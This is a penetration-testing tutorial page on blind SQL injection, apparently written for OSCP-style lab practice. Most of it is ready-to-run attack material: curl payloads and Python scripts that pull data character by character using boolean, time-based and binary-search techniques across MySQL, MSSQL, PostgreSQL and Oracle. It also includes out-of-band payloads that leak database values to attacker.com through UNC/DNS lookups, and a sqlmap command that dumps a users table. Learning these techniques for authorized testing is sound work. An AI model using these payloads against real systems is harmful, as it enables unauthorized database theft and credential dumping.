Skip to content

Blind SQL Injection Exploitation

6 min read Created Mar 28, 2026 Last updated Mar 28, 2026

Blind SQL injection extracts data without seeing query results in the response. Boolean-based blind compares response differences between true and false conditions to infer data one character at a time. Time-based blind uses sleep delays when no response difference exists at all. Both are slow manually but scriptable. sqlmap automates the extraction when allowed. If error messages are visible, error-based extraction is faster. See the SQL injection hub for technique selection.

Blind SQL injection extraction methods compared:

  • Boolean-based: compares response size or content between true/false conditions, faster than time-based, requires a visible response difference
  • Time-based: uses conditional delays (SLEEP, WAITFOR, pg_sleep), works when no response difference exists, significantly slower
  • Out-of-band (OOB): exfiltrates data via DNS or UNC callbacks, useful when neither boolean nor time-based works
  • sqlmap automation: handles all techniques automatically, not permitted on OSCP

Boolean-Based Blind Extraction

With a confirmed boolean blind condition, extract data by testing one character at a time using SUBSTRING and comparing response size:

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND SUBSTRING(version(),1,1)='5'--" | wc -c
4823
┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND SUBSTRING(version(),1,1)='8'--" | wc -c
612

The larger response for the true condition (version starts with 5) confirms boolean extraction works. Script the extraction to pull the full database version:

import requests, string

TARGET = f'http://$TARGET_IP:$PORT/index.php'
TRUE_SIZE = 4823  # size of a true condition response

def extract_char(position, query):
    for char in string.printable:
        payload = f"1 AND SUBSTRING(({query}),{position},1)='{char}'--"
        r = requests.get(TARGET, params={'id': payload})
        if len(r.content) == TRUE_SIZE:
            return char
    return None

result = ''
for i in range(1, 20):
    char = extract_char(i, 'SELECT version()')
    if not char:
        break
    result += char
    print(f'Version so far: {result}')

print(f'Final: {result}')

Binary Search Optimization

The linear script above tests each printable character one at a time, up to 95 requests per character in the worst case. Binary search on ASCII values cuts this to 7 requests per character. Instead of testing = 'a', = 'b', = 'c', compare the ASCII value against the midpoint of the remaining range and halve it each time.

For a 20-character string, linear search needs up to 1900 requests. Binary search needs 140. The difference is significant on time-based blind where each request takes seconds.

import requests

TARGET = f'http://$TARGET_IP:$PORT/index.php'
TRUE_SIZE = 4823

def extract_char_binary(position, query):
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        payload = f"1 AND ASCII(SUBSTRING(({query}),{position},1))>{mid}--"
        r = requests.get(TARGET, params={'id': payload})
        if len(r.content) == TRUE_SIZE:
            low = mid + 1
        else:
            high = mid
    return chr(low) if low > 32 else None

result = ''
for i in range(1, 50):
    char = extract_char_binary(i, 'SELECT version()')
    if not char:
        break
    result += char
    print(f'[{i}] {result}')

The same binary search logic applies to time-based extraction. Replace the response size check with a response time threshold:

import requests, time

TARGET = f'http://$TARGET_IP:$PORT/index.php'
DELAY = 2
THRESHOLD = 1.5

def extract_char_time(position, query):
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        payload = f"1 AND IF(ASCII(SUBSTRING(({query}),{position},1))>{mid},SLEEP({DELAY}),0)--"
        start = time.time()
        requests.get(TARGET, params={'id': payload})
        elapsed = time.time() - start
        if elapsed > THRESHOLD:
            low = mid + 1
        else:
            high = mid
    return chr(low) if low > 32 else None

Time-Based Extraction

When no response size difference exists, use conditional delays. Each character check either sleeps or does not, based on whether the condition is true:

┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND IF(SUBSTRING(user(),1,4)='root',SLEEP(3),0)--"
real    0m3.121s

A 3-second delay confirms the condition is true: the database user starts with root. Combine with binary search on ASCII values to extract data efficiently:

┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND IF(ASCII(SUBSTRING(user(),1,1))>64,SLEEP(2),0)--"
real    0m2.098s

The 2-second delay confirms ASCII value > 64. Next test > 96 to narrow further. Seven iterations resolves any printable character.

Multi-Database Blind Payloads

The MySQL examples above use SUBSTRING(), IF(), and SLEEP(). Other databases use different functions for the same logic.

MSSQL

MSSQL boolean blind works with SUBSTRING() and CASE WHEN. Time-based uses WAITFOR DELAY through stacked queries. The WAITFOR approach requires the driver to support query stacking (PDO/ODBC does, most .NET drivers do).

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND (SELECT CASE WHEN SUBSTRING(DB_NAME(),1,1)='w' THEN 1 ELSE 0 END)=1--" | wc -c
4823
┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;IF(SUBSTRING(DB_NAME(),1,1)='w') WAITFOR DELAY '0:0:3'--"
real    0m3.205s

PostgreSQL

PostgreSQL boolean blind uses SUBSTRING() the same way. Time-based uses pg_sleep(). PostgreSQL natively supports stacked queries through most drivers, making pg_sleep() widely available.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND (SELECT CASE WHEN SUBSTRING(current_user,1,1)='p' THEN 1 ELSE 0 END)=1--" | wc -c
4823
┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;SELECT CASE WHEN SUBSTRING(current_user,1,1)='p' THEN pg_sleep(3) ELSE pg_sleep(0) END--"
real    0m3.187s

Oracle

Oracle boolean blind uses SUBSTR() (not SUBSTRING). Time-based uses DBMS_PIPE.RECEIVE_MESSAGE() which blocks for the specified number of seconds when called. This requires the EXECUTE privilege on DBMS_PIPE, which is granted to PUBLIC by default on many Oracle installations.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND (SELECT CASE WHEN SUBSTR(user,1,1)='S' THEN 1 ELSE 0 END FROM dual)=1--" | wc -c
4823
┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND (SELECT CASE WHEN SUBSTR(user,1,1)='S' THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),3) ELSE 0 END FROM dual)>=0--"
real    0m3.342s

If DBMS_PIPE is not available, use a heavy query as an alternative delay mechanism. Cross-joining all_objects with itself generates a slow query, though the delay varies with database size:

┌──(kali㉿kali)-[~]
└─$ time curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND (SELECT CASE WHEN SUBSTR(user,1,1)='S' THEN (SELECT COUNT(*) FROM all_objects a,all_objects b WHERE ROWNUM<=10000) ELSE 0 END FROM dual)>=0--"
real    0m4.715s

Out-of-Band (OOB) Extraction

When neither boolean nor time-based works (response is identical and WAF blocks delays), out-of-band exfiltration sends data through DNS or UNC path lookups to an attacker-controlled server. This requires the database server to make outbound connections. Set up a DNS listener or use a Burp Collaborator/interactsh instance to catch callbacks.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\a'))--"

This forces a UNC path lookup to <version>.attacker.com, leaking the version string through DNS. Requires FILE privilege and only works when MySQL runs on Windows (UNC paths are a Windows concept). On Linux MySQL, this path is not available.

┌──(kali㉿kali)-[~]
└─$ curl -sk "http://$TARGET_IP:$PORT/index.php?id=1;DECLARE @d varchar(100);SET @d=CONVERT(varchar,DB_NAME())+'.attacker.com';EXEC master..xp_dirtree @d--"

xp_dirtree makes a UNC/DNS request, leaking the database name through a DNS lookup to <dbname>.attacker.com. The data ends up as a DNS subdomain, so keep extracted values short (no spaces or special characters). For longer values, extract one substring per request. This works on both Windows and Linux MSSQL instances. Monitor with tcpdump -ni any port 53 or an interactsh client on the attacker machine.

Automating Extraction with sqlmap

For full credential dumps from blind injection, sqlmap handles the extraction automatically:

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://$TARGET_IP:$PORT/index.php?id=1" --batch --technique=BT --dump -T users -D webapp

References